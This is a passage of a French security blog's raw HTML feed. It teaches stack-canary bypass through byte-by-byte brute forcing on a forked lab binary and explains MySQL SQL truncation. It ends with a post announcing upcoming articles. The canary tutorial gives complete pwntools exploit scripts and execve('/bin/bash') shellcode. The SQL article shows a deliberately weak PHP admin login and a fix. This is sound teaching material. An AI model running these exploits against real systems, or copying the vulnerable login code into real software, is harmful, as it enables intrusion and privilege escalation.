class="se">\n</span><span class="s">&quot;</span><span class="p">);</span><span class="w"></span> <span class="w"> </span><span class="p">}</span><span class="w"></span> <span class="w"> </span><span class="k">else</span><span class="w"></span> <span class="w"> </span><span class="p">{</span><span class="w"></span> <span class="w"> </span><span class="n">wait</span><span class="p">(</span><span class="nb">NULL</span><span class="p">);</span><span class="w"></span> <span class="w"> </span><span class="p">}</span><span class="w"></span> <span class="w"> </span><span class="p">}</span><span class="w"></span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">-1</span><span class="p">;</span><span class="w"></span> <span class="p">}</span><span class="w"></span> </code></pre></div> <p>Le <a href="https://www.dailysecurity.fr/return_oriented_programming/">ROP</a> n'est pas l'objet de cet article, nous allons donc désactiver l'ASLR et le NX (-z execstack), on rajoute bien évidement l'option Smash Stack Protection (-fstack-protector).</p> <div class="highlight"><pre><span></span><code><span class="gp">root@Geluchat:~# </span><span class="nb">echo</span> <span class="m">0</span> &gt; /proc/sys/kernel/randomize_va_space <span class="c1"># Desactive l&#39;ALSR</span> <span class="gp">root@Geluchat:~# </span>gcc SSPbypass.c -Wall -o SSPbypass -z norelro -z execstack -fstack-protector -m32 <span class="gp">root@Geluchat:~# </span>chmod +x SSPbypass <span class="gp">root@Geluchat:~# </span>./SSPbypass </code></pre></div> <p>A la fin de la fonction vuln() le canary est vérifié, s'il a été modifié par l'exploitation d'un Buffer overflow classique on obtient une erreur du type:</p> <div class="highlight"><pre><span></span><code><span class="go">*** stack smashing detected ***: SSPbypass - terminated</span> <span class="go">SSPbypass: stack smashing attack in function - terminated</span> </code></pre></div> <p>Et bien sûr notre exploitation échoue.</p> <p>Cette protection semble parfaite contre ce type de Buffer overflow, néanmoins elle reste contournable.</p> <p>En effet, si l'on réécrit le canary par sa vraie valeur pendant l'exploitation, à la fin de la fonction le canary n'aura pas été modifié et le programme continuera son exécution.</p> <p>Mais cette méthode à un gros défaut, un canary classique fait 4 octets (sur du 32 bits, par exemple 0x61626364) soit 256^4 qui correspond à 1 chance sur 4294967296, autant dire que sur un programme distant, ça reste impossible à exploiter.</p> <p>La bonne méthode est donc ailleurs.</p> <p>Pour trouver notre canary, il va falloir procéder en plusieurs fois. Je m'explique, le canary faisant dans notre cas 4 octets:</p> <ul> <li>Nous pouvons le deviner octet par octet à la manière d'une SQL Blind.</li> <li>Nous savons aussi que le programme proposé plus haut retourne la chaine "Done" quand tout s'est bien déroulé et rien quand on a écrasé le canary.</li> <li>Si le premier octet du canary est égal à 0x61 il ne retournera pas la chaine tant qu'on ne lui envoie pas 0x61.</li> <li>Un appel à la fonction fork() copie le canary, il reste donc le même à chaque connexion tant que le programme n'est pas fini.</li> </ul> <p>On peut donc effectuer un bruteforce byte par byte, c'est ce que fait le script suivant:</p> <div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/env python</span> <span class="c1"># -*- coding: utf-8 -*-</span> <span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span> <span class="n">context</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;i386&#39;</span><span class="p">)</span> <span class="n">p</span> <span class="o">=</span> <span class="mi">0</span> <span class="n">e</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;./SSPbypass&#39;</span><span class="p">)</span> <span class="k">def</span> <span class="nf">wait</span><span class="p">(</span><span class="n">until</span><span class="p">):</span> <span class="k">return</span> <span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">until</span><span class="p">)</span> <span class="k">def</span> <span class="nf">start</span><span class="p">():</span> <span class="k">global</span> <span class="n">p</span><span class="p">,</span> <span class="n">libc</span> <span class="k">if</span> <span class="n">p</span> <span class="ow">is</span> <span class="ow">not</span> <span class="mi">0</span><span class="p">:</span> <span class="n">p</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> <span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s1">&#39;./SSPbypass&#39;</span><span class="p">,</span> <span class="n">shell</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span> <span class="n">wait</span><span class="p">(</span><span class="s2">&quot;Size: &quot;</span><span class="p">)</span> <span class="k">def</span> <span class="nf">trigger</span><span class="p">(</span><span class="n">buf</span><span class="p">):</span> <span class="n">p</span><span class="o">.</span><span class="n">writeline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span><span class="p">))</span> <span class="n">dumb</span><span class="o">=</span><span class="n">wait</span><span class="p">(</span><span class="s2">&quot;Input: &quot;</span><span class="p">)</span> <span class="n">p</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span> <span class="k">return</span> <span class="n">wait</span><span class="p">(</span><span class="s2">&quot;Size: &quot;</span><span class="p">)</span> <span class="k">def</span> <span class="nf">leak</span><span class="p">(</span><span class="n">bufsize</span><span class="p">,</span><span class="n">canarysize</span><span class="p">):</span> <span class="n">leak</span> <span class="o">=</span> <span class="s2">&quot;&quot;</span> <span class="k">while</span> <span class="nb">len</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span> <span class="o">&lt;</span> <span class="n">canarysize</span><span class="p">:</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">xrange</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span> <span class="n">hex_byte</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="n">buf</span> <span class="o">=</span> <span class="s2">&quot;A&quot;</span><span class="o">*</span><span class="n">bufsize</span> <span class="o">+</span> <span class="n">leak</span> <span class="o">+</span> <span class="n">hex_byte</span> <span class="n">resp</span><span class="o">=</span><span class="n">trigger</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span> <span class="c1"># On test le cookie byte par byte</span> <span class="k">if</span> <span class="s1">&#39;Done&#39;</span> <span class="ow">in</span> <span class="n">resp</span><span class="p">:</span> <span class="n">leak</span> <span class="o">+=</span> <span class="n">hex_byte</span> <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;[*] byte : </span><span class="si">%r</span><span class="s2">&quot;</span> <span class="o">%</span> <span class="n">hex_byte</span><span class="p">)</span> <span class="k">break</span> <span class="k">if</span><span class="p">(</span><span class="n">i</span><span class="o">==</span><span class="mi">255</span><span class="p">):</span> <span class="k">raise</span> <span class="ne">ValueError</span><span class="p">(</span><span class="s1">&#39;Hum :(&#39;</span><span class="p">)</span> <span class="k">return</span> <span class="n">leak</span> <span class="n">start</span><span class="p">()</span> <span class="n">canary</span><span class="o">=</span><span class="n">leak</span><span class="p">(</span><span class="mi">64</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span> <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;[+] Canary </span><span class="si">%#x</span><span class="s2">&quot;</span> <span class="o">%</span> <span class="n">u32</span><span class="p">(</span><span class="n">canary</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">4</span><span class="p">]))</span> <span class="n">trigger</span><span class="p">(</span><span class="s2">&quot;A&quot;</span><span class="o">*</span><span class="mi">64</span><span class="o">+</span><span class="n">canary</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">3</span><span class="o">+</span><span class="s2">&quot;bbbb&quot;</span><span class="p">)</span> <span class="c1"># Rewrite eip par bbbb</span> </code></pre></div> <p>Il ne reste plus ensuite qu'à exploiter le programme de manière classique:</p> <div class="highlight"><pre><span></span><code><span class="gp"># </span>On <span class="nb">export</span> notre shellcode dans une variable d<span class="err">&#39;</span>environnement <span class="go">http://shell-storm.org/shellcode/files/shellcode-606.php execve(&quot;/bin/bash&quot;, [&quot;/bin/bash&quot;, &quot;-p&quot;], NULL)</span> <span class="gp">root@Geluchat:~# </span><span class="nb">export</span> <span class="nv">SC</span><span class="o">=</span><span class="k">$(</span>python -c <span class="s2">&quot;print &#39;\x90&#39;*100+&#39;\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80&#39;&quot;</span><span class="k">)</span> <span class="gp">root@Geluchat:~#</span>./getenv SC <span class="go">0xffffdf3e</span> </code></pre></div> <p>getenv.c</p> <div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"></span> <span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;stdio.h&gt;</span><span class="cp"></span> <span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;unistd.h&gt;</span><span class="cp"></span> <span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">argc</span><span class="p">,</span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">argv</span><span class="p">[])</span><span class="w"> </span><span class="p">{</span><span class="w"></span> <span class="n">printf</span><span class="p">(</span><span class="s">&quot;0x%x</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span><span class="n">getenv</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]));</span><span class="w"></span> <span class="p">}</span><span class="w"></span> </code></pre></div> <p>Exploit final :</p> <div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/env python</span> <span class="c1"># -*- coding: utf-8 -*-</span> <span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span> <span class="n">context</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;i386&#39;</span><span class="p">)</span> <span class="n">p</span> <span class="o">=</span> <span class="mi">0</span> <span class="n">e</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;./SSPbypass&#39;</span><span class="p">)</span> <span class="k">def</span> <span class="nf">wait</span><span class="p">(</span><span class="n">until</span><span class="p">):</span> <span class="k">return</span> <span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">until</span><span class="p">)</span> <span class="k">def</span> <span class="nf">start</span><span class="p">():</span> <span class="k">global</span> <span class="n">p</span><span class="p">,</span> <span class="n">libc</span> <span class="k">if</span> <span class="n">p</span> <span class="ow">is</span> <span class="ow">not</span> <span class="mi">0</span><span class="p">:</span> <span class="n">p</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> <span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s1">&#39;./SSPbypass&#39;</span><span class="p">,</span> <span class="n">shell</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span> <span class="n">wait</span><span class="p">(</span><span class="s2">&quot;Size: &quot;</span><span class="p">)</span> <span class="k">def</span> <span class="nf">trigger</span><span class="p">(</span><span class="n">buf</span><span class="p">):</span> <span class="n">p</span><span class="o">.</span><span class="n">writeline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span><span class="p">))</span> <span class="n">dumb</span><span class="o">=</span><span class="n">wait</span><span class="p">(</span><span class="s2">&quot;Input: &quot;</span><span class="p">)</span> <span class="n">p</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span> <span class="k">return</span> <span class="n">wait</span><span class="p">(</span><span class="s2">&quot;Size: &quot;</span><span class="p">)</span> <span class="k">def</span> <span class="nf">leak</span><span class="p">(</span><span class="n">bufsize</span><span class="p">,</span><span class="n">canarysize</span><span class="p">):</span> <span class="n">leak</span> <span class="o">=</span> <span class="s2">&quot;&quot;</span> <span class="k">while</span> <span class="nb">len</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span> <span class="o">&lt;</span> <span class="n">canarysize</span><span class="p">:</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">xrange</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span> <span class="n">hex_byte</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="n">buf</span> <span class="o">=</span> <span class="s2">&quot;A&quot;</span><span class="o">*</span><span class="n">bufsize</span> <span class="o">+</span> <span class="n">leak</span> <span class="o">+</span> <span class="n">hex_byte</span> <span class="n">resp</span><span class="o">=</span><span class="n">trigger</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span> <span class="c1"># On test le cookie byte par byte</span> <span class="k">if</span> <span class="s1">&#39;Done&#39;</span> <span class="ow">in</span> <span class="n">resp</span><span class="p">:</span> <span class="n">leak</span> <span class="o">+=</span> <span class="n">hex_byte</span> <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;[*] byte : </span><span class="si">%r</span><span class="s2">&quot;</span> <span class="o">%</span> <span class="n">hex_byte</span><span class="p">)</span> <span class="k">break</span> <span class="k">if</span><span class="p">(</span><span class="n">i</span><span class="o">==</span><span class="mi">255</span><span class="p">):</span> <span class="k">raise</span> <span class="ne">ValueError</span><span class="p">(</span><span class="s1">&#39;Hum :(&#39;</span><span class="p">)</span> <span class="k">return</span> <span class="n">leak</span> <span class="k">def</span> <span class="nf">getshell</span><span class="p">():</span> <span class="n">log</span><span class="o">.</span><span class="n">success</span><span class="p">(</span><span class="s2">&quot;Enjoy your shell!&quot;</span><span class="p">)</span> <span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s2">&quot;python -c </span><span class="se">\&quot;</span><span class="s2">import pty;pty.spawn(&#39;/bin/bash&#39;)</span><span class="se">\&quot;</span><span class="s2">&quot;</span><span class="p">)</span> <span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span> <span class="n">start</span><span class="p">()</span> <span class="n">canary</span><span class="o">=</span><span class="n">leak</span><span class="p">(</span><span class="mi">64</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span> <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;[+] Canary </span><span class="si">%#x</span><span class="s2">&quot;</span> <span class="o">%</span> <span class="n">u32</span><span class="p">(</span><span class="n">canary</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">4</span><span class="p">]))</span> <span class="n">buf</span><span class="o">=</span><span class="s2">&quot;A&quot;</span><span class="o">*</span><span class="mi">64</span><span class="o">+</span><span class="n">canary</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">3</span><span class="o">+</span><span class="n">p32</span><span class="p">(</span><span class="mh">0xffffdf3e</span><span class="o">+</span><span class="mi">20</span><span class="p">)</span> <span class="c1"># On ajoute +20 en raison du padding de l&#39;environnement</span> <span class="n">p</span><span class="o">.</span><span class="n">writeline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span><span class="p">))</span> <span class="n">wait</span><span class="p">(</span><span class="s2">&quot;Input: &quot;</span><span class="p">)</span> <span class="n">p</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span> <span class="n">getshell</span><span class="p">()</span> </code></pre></div> <p>Un dernier détail important, le canary, sous certaines distributions, peut contenir des null-bytes, il ne sera bypassable que sous certaines conditions, par exemple l’utilisation d’une fonction recv() couplée à un memcpy() qui sont deux fonctions gérants les null-bytes.</p> <p>Voila, c’est déjà terminé, n’hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.</p> <p>Geluchat.</p>Les SQL truncations : Une faille méconnue, mais très efficace2015-01-30T11:35:00+01:002015-01-30T11:35:00+01:00Geluchattag:www.dailysecurity.fr,2015-01-30:/les-sql-truncations<p>Aujourd'hui, j'ai le plaisir de vous présenter le premier article du site, il concernera les SQL truncations. Il est très probable que vous n'en ayez jamais entendu parler car les failles liées à SQL sont noyées par les SQL injections et les bypass en tout genre.</p> <p>Alors, une SQL truncation …</p><p>Aujourd'hui, j'ai le plaisir de vous présenter le premier article du site, il concernera les SQL truncations. Il est très probable que vous n'en ayez jamais entendu parler car les failles liées à SQL sont noyées par les SQL injections et les bypass en tout genre.</p> <p>Alors, une SQL truncation, ça ressemble à quoi? Et bien, ça n'est pas très difficile à appréhender.</p> <p>Prenons l'exemple du script SQL suivant:</p> <div class="highlight"><pre><span></span><code><span class="k">CREATE</span><span class="w"> </span><span class="k">TABLE</span><span class="w"> </span><span class="n">TEST_DAILYSECURITY</span><span class="p">(</span><span class="w"></span> <span class="w"> </span><span class="n">id</span><span class="w"> </span><span class="nb">int</span><span class="w"> </span><span class="k">NOT</span><span class="w"> </span><span class="k">NULL</span><span class="w"> </span><span class="n">AUTO_INCREMENT</span><span class="p">,</span><span class="w"></span> <span class="w"> </span><span class="n">login</span><span class="w"> </span><span class="nb">VARCHAR</span><span class="p">(</span><span class="mi">12</span><span class="p">),</span><span class="w"></span> <span class="w"> </span><span class="n">password</span><span class="w"> </span><span class="nb">CHAR</span><span class="p">(</span><span class="mi">32</span><span class="p">),</span><span class="w"></span> <span class="w"> </span><span class="k">PRIMARY</span><span class="w"> </span><span class="k">KEY</span><span class="w"> </span><span class="p">(</span><span class="n">id</span><span class="p">)</span><span class="w"></span> <span class="p">);</span><span class="w"></span> <span class="k">INSERT</span><span class="w"> </span><span class="k">INTO</span><span class="w"> </span><span class="n">TEST_DAILYSECURITY</span><span class="w"> </span><span class="k">VALUES</span><span class="p">(</span><span class="k">default</span><span class="p">,</span><span class="s1">&#39;admin x&#39;</span><span class="p">,</span><span class="s1">&#39;mdp&#39;</span><span class="p">);</span><span class="w"></span> </code></pre></div> <p>Avec un select de la table, on obtient:</p> <div class="highlight"><pre><span></span><code><span class="k">SELECT</span><span class="w"> </span><span class="n">login</span><span class="p">,</span><span class="w"> </span><span class="n">password</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">TEST_DAILYSECURITY</span><span class="p">;</span><span class="w"></span> <span class="o">+</span><span class="c1">---------+------------+</span> <span class="o">|</span><span class="w"> </span><span class="n">login</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">password</span><span class="w"> </span><span class="o">|</span><span class="w"></span> <span class="o">+</span><span class="c1">---------+------------+</span> <span class="o">|</span><span class="w"> </span><span class="k">admin</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">mdp</span><span class="w"> </span><span class="o">|</span><span class="w"></span> <span class="o">+</span><span class="c1">---------+------------+</span> <span class="mi">1</span><span class="w"> </span><span class="k">row</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="k">set</span><span class="w"> </span><span class="p">(</span><span class="mi">0</span><span class="p">.</span><span class="mi">00</span><span class="w"> </span><span class="n">sec</span><span class="p">)</span><span class="w"></span> </code></pre></div> <p>Le résultat est sans appel, le login a été tronqué par mysql. </p> <p>Mais pourquoi? Pour les plus observateurs, vous aurez remarqué que le champ login est un varchar de 12 caractères, donc mysql ne réfléchit pas, il enregistre dans l'espace qu'on lui a réservé, d’où la troncation du login.</p> <p><em>Remarque : MySQL efface les espaces derrière pour une raison d'optimisation de stockage.</em></p> <p>Maintenant, à quoi ça sert?</p> <p>Les exemples d'exploitation de cette faille sont multiples:</p> <ul> <li>En cas d'une mauvaise gestion de l’accès au back office d'un site, comme avec un:</li> </ul> <div class="highlight"><pre><span></span><code><span class="k">SELECT</span><span class="w"> </span><span class="n">id</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">TEST_DAILYSECURITY</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">login</span><span class="o">=</span><span class="s1">&#39;admin&#39;</span><span class="w"> </span><span class="k">AND</span><span class="w"> </span><span class="n">password</span><span class="o">=</span><span class="s1">&#39;$_POST[password]&#39;</span><span class="p">;</span><span class="w"></span> </code></pre></div> <p>Suivi d'un test d'un type mysql_num_rows &gt; 0 , l'utilisateur aurait accès au panel d’administration.</p> <div class="highlight"><pre><span></span><code> <span class="nv">$db</span> <span class="o">=</span> <span class="nb">mysql_connect</span><span class="p">(</span><span class="s1">&#39;localhost&#39;</span><span class="p">,</span> <span class="s1">&#39;root&#39;</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">);</span> <span class="nb">mysql_select_db</span><span class="p">(</span><span class="s1">&#39;TEST_DAILYSECURITYDB&#39;</span><span class="p">,</span><span class="nv">$db</span><span class="p">);</span> <span class="k">if</span><span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;password&#39;</span><span class="p">]))</span> <span class="p">{</span> <span class="nv">$sql</span> <span class="o">=</span> <span class="s2">&quot;SELECT id FROM TEST_DAILYSECURITY WHERE login=&#39;admin&#39; AND password=&#39;&quot;</span><span class="o">.</span><span class="nb">mysql_real_escape_string</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;password&#39;</span><span class="p">])</span><span class="o">.</span><span class="s2">&quot;&#39;&quot;</span><span class="p">;</span> <span class="nv">$req</span> <span class="o">=</span> <span class="nb">mysql_query</span><span class="p">(</span><span class="nv">$sql</span><span class="p">)</span> <span class="k">or</span> <span class="k">die</span><span class="p">(</span><span class="s1">&#39;Erreur SQL !&#39;</span><span class="o">.</span><span class="nv">$sql</span><span class="o">.</span><span class="s1">&#39;&#39;</span><span class="o">.</span><span class="nb">mysql_error</span><span class="p">());</span> <span class="k">if</span><span class="p">(</span><span class="nb">mysql_num_rows</span><span class="p">(</span><span class="nv">$req</span><span class="p">)</span><span class="o">&gt;</span> <span class="mi">0</span> <span class="p">)</span> <span class="c1">// Si la requête retourne au moins un résultat, on accède à la zone administrateur</span> <span class="p">{</span> <span class="c1">// ZONE ADMIN</span> <span class="k">echo</span> <span class="s1">&#39;Bienvenue Administrateur&#39;</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="nb">header</span><span class="p">(</span><span class="s1">&#39;Location: &#39;</span><span class="o">.</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">&#39;HTTP_REFERER&#39;</span><span class="p">]);</span> <span class="k">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">echo</span> <span class="s1">&#39;&lt;form action=&quot;&quot; method=&quot;POST&quot;&gt;</span> <span class="s1"> Password: &lt;input type=&quot;password&quot; name=&quot;password&quot;&gt;&lt;/ br&gt;</span> <span class="s1"> &lt;input type=&quot;submit&quot; name=&quot;Se Connecter&quot;&gt;</span> <span class="s1"> &lt;/form&gt;&#39;</span><span class="p">;</span> <span class="p">}</span> <span class="nb">mysql_close</span><span class="p">();</span> </code></pre></div> <ul> <li>Un problème par requêtes multiples. On peut prendre comme exemple le <a href="http://kitctf.de/writeups/gits2015/aart/">challenge aart</a> de Ghost in the Shellcode qui avait deux requêtes insert à la suite, la deuxième utilisant une clause where sur un élément tronqué, un petit exemple:</li> </ul> <div class="highlight"><pre><span></span><code><span class="w"> </span><span class="k">INSERT</span><span class="w"> </span><span class="k">INTO</span><span class="w"> </span><span class="n">TEST_DAILYSECURITY</span><span class="w"> </span><span class="k">VALUES</span><span class="p">(</span><span class="k">default</span><span class="p">,</span><span class="s1">&#39;$_POST[login]&#39;</span><span class="p">,</span><span class="s1">&#39;$_POST[password]&#39;</span><span class="p">);</span><span class="w"></span> <span class="w"> </span><span class="c1">-- Si le login est supérieur à 12 il sera tronqué</span> <span class="w"> </span><span class="k">INSERT</span><span class="w"> </span><span class="k">INTO</span><span class="w"> </span><span class="n">AUTRE</span><span class="w"> </span><span class="n">TABLE_AVEC_IDUSER</span><span class="w"> </span><span class="k">VALUES</span><span class="p">(</span><span class="k">default</span><span class="p">,(</span><span class="k">SELECT</span><span class="w"> </span><span class="n">id</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">TEST_DAILYSECURITY</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">login</span><span class="o">=</span><span class="s1">&#39;$_POST[login]&#39;</span><span class="p">));</span><span class="w"></span> <span class="w"> </span><span class="c1">-- Cette table contiendrait des données incorrectes, je vous laisse imaginer si c&#39;était la table gérant les privilèges utilisateurs...</span> </code></pre></div> <p>On a donc pu voir que les SQL truncations sont très dangereuses et fortement méconnues. A savoir que la faille fonctionne aussi sous <a href="https://pastebin.com/1g3es9nq">PDO</a>. </p> <p>La solution, pour patcher cette faille, est très simple:</p> <div class="highlight"><pre><span></span><code><span class="k">if</span><span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;login&#39;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nb">strlen</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;login&#39;</span><span class="p">])</span><span class="o">&gt;</span><span class="mi">12</span><span class="p">)</span> <span class="p">{</span> <span class="k">echo</span> <span class="s2">&quot;Veuillez rentrer un login inférieur à 12 caractères&quot;</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="c1">// Vérification connexion administrateur et formulaire de connexion</span> <span class="p">}</span> </code></pre></div> <p>Voila, c'est déjà terminé, n'hésitez pas à rejoindre mon <a href="https://twitter.com/Geluchat">Twitter</a> pour avoir des news sur le site et mon point de vue sur l'actualité de la sécurité informatique.</p> <p>Geluchat.</p>Les posts à venir2015-01-26T00:25:00+01:002015-01-26T00:25:00+01:00Geluchattag:www.dailysecurity.fr,2015-01-26:/les-posts-a-venir<p>Je vais publier très prochainement, des articles de web et d'applicatif.</p> <p>Pour ce qui est du web ça sera un article sur les SQL truncations et les Path truncations (dans une LFI).</p> <p>Et en applicatif un petit cours sur le stack cookie (canary) et les différentes méthodes de bypass.</p> <p>Si …</p><p>Je vais publier très prochainement, des articles de web et d'applicatif.</p> <p>Pour ce qui est du web ça sera un article sur les SQL truncations et les Path truncations (dans une LFI).</p> <p>Et en applicatif un petit cours sur le stack cookie (canary) et les différentes méthodes de bypass.</p> <p>Si vous voulez prendre de l'avance sur moi n'hésitez pas à aller googler tout ça  :)</p>